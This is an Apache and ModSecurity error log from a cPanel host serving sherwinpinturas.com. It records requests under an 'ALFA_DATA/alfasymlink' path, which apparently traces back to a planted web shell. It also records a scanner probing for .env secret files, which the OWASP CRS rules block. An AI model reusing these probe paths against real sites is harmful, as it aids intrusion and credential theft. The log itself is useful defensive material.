[Sun Oct 25 16:30:35.807791 2026] [ssl:error] [pid 2889342:tid 2889342] (70014)End of file found: [client 216.131.76.185:43889] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:30:37.086340 2026] [core:error] [pid 2896293:tid 2896293] (13)Permission denied: [client 186.158.120.188:63572] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/poison
[Sun Oct 25 16:30:37.582875 2026] [security2:error] [pid 2893744:tid 2893744] [client 185.191.171.9:10446] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/scripts/restartsrv_queueprocd"] [unique_id "at5m7bwNC6PiuUzHLh6dPwAAAAs"]
[Sun Oct 25 16:30:37.582922 2026] [security2:error] [pid 2893744:tid 2893744] [client 185.191.171.9:10446] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/scripts/restartsrv_queueprocd"] [unique_id "at5m7bwNC6PiuUzHLh6dPwAAAAs"]
[Sun Oct 25 16:30:38.158714 2026] [ssl:error] [pid 2893742:tid 2893742] (70014)End of file found: [client 34.234.200.207:61283] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:30:43.272181 2026] [ssl:error] [pid 2893298:tid 2893298] (70014)End of file found: [client 76.110.231.185:35029] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:30:44.068018 2026] [core:error] [pid 2889285:tid 2889285] (13)Permission denied: [client 85.208.96.198:26154] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_allocation_context/cpu_slabs
[Sun Oct 25 16:30:50.146983 2026] [ssl:error] [pid 2889285:tid 2889285] (70014)End of file found: [client 52.44.174.136:38330] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:30:51.267544 2026] [ssl:error] [pid 2885094:tid 2885094] (70014)End of file found: [client 177.221.182.172:56560] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:30:51.965382 2026] [core:error] [pid 2897200:tid 2897200] (13)Permission denied: [client 67.169.231.187:39361] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/hwcache_align
[Sun Oct 25 16:30:54.676842 2026] [core:error] [pid 2893298:tid 2893298] (13)Permission denied: [client 76.181.199.8:55794] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/hwcache_align
[Sun Oct 25 16:30:56.036861 2026] [core:error] [pid 2889287:tid 2889287] (13)Permission denied: [client 216.223.212.35:51091] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/hwcache_align
[Sun Oct 25 16:30:58.183622 2026] [ssl:error] [pid 2885109:tid 2885109] (70014)End of file found: [client 54.157.99.244:29840] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:31:10.270619 2026] [ssl:error] [pid 2897475:tid 2897475] (70014)End of file found: [client 52.71.203.206:52578] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:31:14.212002 2026] [ssl:error] [pid 2897476:tid 2897476] (70014)End of file found: [client 52.6.5.24:53477] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:31:30.226230 2026] [ssl:error] [pid 2897475:tid 2897475] (70014)End of file found: [client 18.214.238.178:48976] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:31:54.320071 2026] [ssl:error] [pid 2885109:tid 2885109] (70014)End of file found: [client 3.210.223.61:54974] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:31:56.928522 2026] [ssl:error] [pid 2897472:tid 2897472] (70014)End of file found: [client 85.208.96.208:14510] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:31:58.133875 2026] [ssl:error] [pid 2893298:tid 2893298] (70014)End of file found: [client 98.82.39.241:32776] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:32:06.149154 2026] [ssl:error] [pid 2885094:tid 2885094] (70014)End of file found: [client 18.232.12.157:62472] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:32:18.158995 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 18.232.11.247:46714] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:32:22.142394 2026] [ssl:error] [pid 2892941:tid 2892941] (70014)End of file found: [client 98.80.130.239:6794] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:32:31.234545 2026] [security2:error] [pid 2885109:tid 2885109] [client 107.172.76.131:64529] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5nUIFcUVAO2YtGzyMfpQAAAAg"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 16:32:31.234605 2026] [security2:error] [pid 2885109:tid 2885109] [client 107.172.76.131:64529] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5nUIFcUVAO2YtGzyMfpQAAAAg"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 16:32:38.130437 2026] [ssl:error] [pid 2892941:tid 2892941] (70014)End of file found: [client 34.235.239.240:56301] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:32:42.268033 2026] [core:error] [pid 2885094:tid 2885094] (13)Permission denied: [client 100.29.160.53:33794] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:13/subsystem/devices/device:03/physical_node/driver/0000:00:02.0/rescan
[Sun Oct 25 16:32:51.922953 2026] [core:error] [pid 2897544:tid 2897544] (13)Permission denied: [client 2.124.24.119:51662] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/usersize
[Sun Oct 25 16:32:54.570243 2026] [core:error] [pid 2885094:tid 2885094] (13)Permission denied: [client 109.107.227.21:20952] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/usersize
[Sun Oct 25 16:32:56.128030 2026] [core:error] [pid 2897543:tid 2897543] (13)Permission denied: [client 74.57.88.98:43989] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/usersize
[Sun Oct 25 16:32:59.294991 2026] [core:error] [pid 2889353:tid 2889353] (13)Permission denied: [client 185.191.171.9:22036] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6_mrt_cache/slabs
[Sun Oct 25 16:33:02.156227 2026] [ssl:error] [pid 2885094:tid 2885094] (70014)End of file found: [client 34.226.89.140:21725] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:33:14.144395 2026] [ssl:error] [pid 2897464:tid 2897464] (70014)End of file found: [client 52.203.152.231:19638] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:33:18.159565 2026] [ssl:error] [pid 2889348:tid 2889348] (70014)End of file found: [client 3.94.157.25:30227] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:33:26.204829 2026] [ssl:error] [pid 2885094:tid 2885094] (70014)End of file found: [client 44.217.255.167:39930] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:33:28.211284 2026] [ssl:error] [pid 2897543:tid 2897543] (70014)End of file found: [client 85.208.96.210:50638] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:33:34.168578 2026] [ssl:error] [pid 2892941:tid 2892941] (70014)End of file found: [client 54.86.59.155:64550] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:33:42.139825 2026] [core:error] [pid 2897543:tid 2897543] (13)Permission denied: [client 34.230.124.21:44632] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/iosf_mbi_pci/uevent
[Sun Oct 25 16:33:43.731740 2026] [core:error] [pid 2885094:tid 2885094] (13)Permission denied: [client 169.224.119.39:2971] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/cron.reboot
[Sun Oct 25 16:33:46.149607 2026] [ssl:error] [pid 2897652:tid 2897652] (70014)End of file found: [client 34.234.197.175:56469] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:33:54.301137 2026] [ssl:error] [pid 2897649:tid 2897649] (70014)End of file found: [client 44.221.105.234:30920] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:33:54.401769 2026] [core:error] [pid 2897543:tid 2897543] (13)Permission denied: [client 2.101.81.43:37420] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/cron.reboot
[Sun Oct 25 16:34:02.140824 2026] [ssl:error] [pid 2897464:tid 2897464] (70014)End of file found: [client 34.233.219.155:54200] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:34:04.683309 2026] [ssl:error] [pid 2887586:tid 2887586] (70014)End of file found: [client 85.208.96.205:38306] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:34:18.149228 2026] [security2:error] [pid 2889348:tid 2889348] [client 44.209.89.189:48292] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/subsystem/input5/event4/subsystem/input1/device/id/"] [unique_id "at5nyuawu2hdqh-E8Ti3SQAAAD8"]
[Sun Oct 25 16:34:18.149273 2026] [security2:error] [pid 2889348:tid 2889348] [client 44.209.89.189:48292] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/subsystem/input5/event4/subsystem/input1/device/id/"] [unique_id "at5nyuawu2hdqh-E8Ti3SQAAAD8"]
[Sun Oct 25 16:34:30.002714 2026] [core:error] [pid 2897200:tid 2897200] (13)Permission denied: [client 64.150.229.147:36777] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/object_size
[Sun Oct 25 16:34:30.284594 2026] [ssl:error] [pid 2897544:tid 2897544] (70014)End of file found: [client 52.22.87.224:58206] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:34:32.881390 2026] [core:error] [pid 2889348:tid 2889348] (13)Permission denied: [client 88.229.1.22:43038] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/object_size
[Sun Oct 25 16:34:36.635365 2026] [core:error] [pid 2889353:tid 2889353] (13)Permission denied: [client 131.143.104.115:53319] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/object_size
[Sun Oct 25 16:34:38.252991 2026] [ssl:error] [pid 2885094:tid 2885094] (70014)End of file found: [client 3.90.73.206:29142] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:34:49.237054 2026] [ssl:error] [pid 2897472:tid 2897472] (70014)End of file found: [client 185.191.171.18:33552] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:34:50.227044 2026] [ssl:error] [pid 2897649:tid 2897649] (70014)End of file found: [client 44.221.37.41:23261] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:35:06.180952 2026] [ssl:error] [pid 2897649:tid 2897649] (70014)End of file found: [client 54.159.18.27:9492] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:35:22.156815 2026] [ssl:error] [pid 2889348:tid 2889348] (70014)End of file found: [client 52.5.232.250:16372] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:35:25.757847 2026] [security2:error] [pid 2889353:tid 2889353] [client 34.47.34.62:54190] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "recursos2.sherwinpinturas.com"] [uri "/"] [unique_id "at5oDa8dg0Qe9Rh6wUUcFQAAAEU"]
[Sun Oct 25 16:35:25.758280 2026] [security2:error] [pid 2889353:tid 2889353] [client 34.47.34.62:54190] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/"] [unique_id "at5oDa8dg0Qe9Rh6wUUcFQAAAEU"]
[Sun Oct 25 16:35:25.758568 2026] [security2:error] [pid 2889353:tid 2889353] [client 34.47.34.62:54190] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/"] [unique_id "at5oDa8dg0Qe9Rh6wUUcFQAAAEU"]
[Sun Oct 25 16:35:25.809749 2026] [security2:error] [pid 2889353:tid 2889353] [client 34.47.34.62:54190] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "recursos2.sherwinpinturas.com"] [uri "/"] [unique_id "at5oDa8dg0Qe9Rh6wUUcFwAAAEU"]
[Sun Oct 25 16:35:25.810064 2026] [security2:error] [pid 2889353:tid 2889353] [client 34.47.34.62:54190] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/"] [unique_id "at5oDa8dg0Qe9Rh6wUUcFwAAAEU"]
[Sun Oct 25 16:35:25.810277 2026] [security2:error] [pid 2889353:tid 2889353] [client 34.47.34.62:54190] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/"] [unique_id "at5oDa8dg0Qe9Rh6wUUcFwAAAEU"]
[Sun Oct 25 16:35:25.827393 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56264] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at5oDWFV96rJYXEkIA1oIQAAABk"]
[Sun Oct 25 16:35:25.827666 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56264] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at5oDWFV96rJYXEkIA1oIQAAABk"]
[Sun Oct 25 16:35:25.827924 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56264] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at5oDWFV96rJYXEkIA1oIQAAABk"]
[Sun Oct 25 16:35:25.829889 2026] [security2:error] [pid 2887586:tid 2887586] [client 34.47.34.62:56244] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at5oDXWAJkvYyuEsFoLIPwAAABc"]
[Sun Oct 25 16:35:25.830061 2026] [security2:error] [pid 2887586:tid 2887586] [client 34.47.34.62:56244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at5oDXWAJkvYyuEsFoLIPwAAABc"]
[Sun Oct 25 16:35:25.830284 2026] [security2:error] [pid 2887586:tid 2887586] [client 34.47.34.62:56244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at5oDXWAJkvYyuEsFoLIPwAAABc"]
[Sun Oct 25 16:35:25.831222 2026] [security2:error] [pid 2897652:tid 2897652] [client 34.47.34.62:56254] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at5oDbgKC8DPM1idVOQukQAAAA8"]
[Sun Oct 25 16:35:25.831365 2026] [security2:error] [pid 2897652:tid 2897652] [client 34.47.34.62:56254] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at5oDbgKC8DPM1idVOQukQAAAA8"]
[Sun Oct 25 16:35:25.831610 2026] [security2:error] [pid 2897652:tid 2897652] [client 34.47.34.62:56254] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at5oDbgKC8DPM1idVOQukQAAAA8"]
[Sun Oct 25 16:35:25.832402 2026] [security2:error] [pid 2897200:tid 2897200] [client 34.47.34.62:56284] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at5oDf3ebQuInVpw1e8OFAAAAAI"]
[Sun Oct 25 16:35:25.832590 2026] [security2:error] [pid 2897200:tid 2897200] [client 34.47.34.62:56284] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at5oDf3ebQuInVpw1e8OFAAAAAI"]
[Sun Oct 25 16:35:25.833095 2026] [security2:error] [pid 2897200:tid 2897200] [client 34.47.34.62:56284] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at5oDf3ebQuInVpw1e8OFAAAAAI"]
[Sun Oct 25 16:35:25.844651 2026] [security2:error] [pid 2897472:tid 2897472] [client 34.47.34.62:56270] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at5oDWVLMQvPe13-2XNXXwAAAAY"]
[Sun Oct 25 16:35:25.844813 2026] [security2:error] [pid 2897472:tid 2897472] [client 34.47.34.62:56270] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at5oDWVLMQvPe13-2XNXXwAAAAY"]
[Sun Oct 25 16:35:25.845040 2026] [security2:error] [pid 2897472:tid 2897472] [client 34.47.34.62:56270] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at5oDWVLMQvPe13-2XNXXwAAAAY"]
[Sun Oct 25 16:35:25.866038 2026] [security2:error] [pid 2897652:tid 2897652] [client 34.47.34.62:56254] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.next/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.next/.env"] [unique_id "at5oDbgKC8DPM1idVOQukgAAAA8"]
